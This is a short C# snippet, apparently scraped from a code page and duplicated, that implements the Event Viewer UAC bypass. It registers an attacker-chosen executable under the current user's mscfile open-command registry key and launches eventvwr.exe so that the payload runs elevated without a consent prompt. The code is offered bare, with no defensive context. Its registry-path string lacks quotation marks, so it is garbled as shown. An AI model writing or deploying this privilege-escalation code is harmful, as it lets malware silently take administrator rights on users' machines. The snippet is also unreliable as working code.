public static bool UAC(string executablePath) { try { Registry.CurrentUser.CreateSubKey(@SOFTWARE\Classes\mscfile\shell\open\command).SetValue("", executablePath); Process.Start("eventvwr.exe"); Environment.Exit(1); return true; } catch { return false; } } Code public static bool UAC(string executablePath) { try { Registry.CurrentUser.CreateSubKey(@SOFTWARE\Classes\mscfile\shell\open\command).SetValue("", executablePath); Process.Start("eventvwr.exe"); Environment.Exit(1); return true; } catch { return false; } }